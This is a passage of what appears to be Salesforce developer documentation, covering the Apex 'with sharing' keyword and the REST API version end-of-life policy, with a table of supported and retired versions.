public with sharing class customController {
  // ...
}
```

The `with sharing` keyword directs the platform to use the security sharing permissions of the user currently logged in, rather than granting full access to all records.

## API End-of-Life Policy

See which REST API versions are supported, unsupported, or unavailable.

Salesforce is committed to supporting each API version for a minimum of 3 years from the date of first release. To mature and improve the quality and performance of the API, versions that are over 3 years old sometimes are no longer supported.

Salesforce notifies customers who use an API version scheduled for deprecation at least 1 year before support for the version ends.

<table>
<thead>
<tr>
<th>Salesforce API Versions</th>
<th>Version Support Status</th>
<th>Version Retirement Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>Versions 31.0 through 58.0</td>
<td>Supported.</td>
<td></td>
</tr>
<tr>
<td>Versions 21.0 through 30.0</td>
<td>As of Summer '22, these versions have been deprecated and no longer supported by Salesforce. Starting Summer '25, these versions will be retired and unavailable.</td>
<td>Salesforce Platform API Versions 21.0 through 30.0 Retirement</td>
</tr>
<tr>
<td>Versions 7.0 through 20.0</td>
<td>As of Summer '22, these versions are retired and unavailable.</td>
<td>Salesforce Platform API Versions 7.0 through 20.0 Retirement</td>
</tr>
</tbody>
</table>

If you request any resource or use an operation from a retired API version, REST API returns the `410: GONE` error code.

To identify requests made from old or unsupported API versions, use the `API Total Usage` event type.
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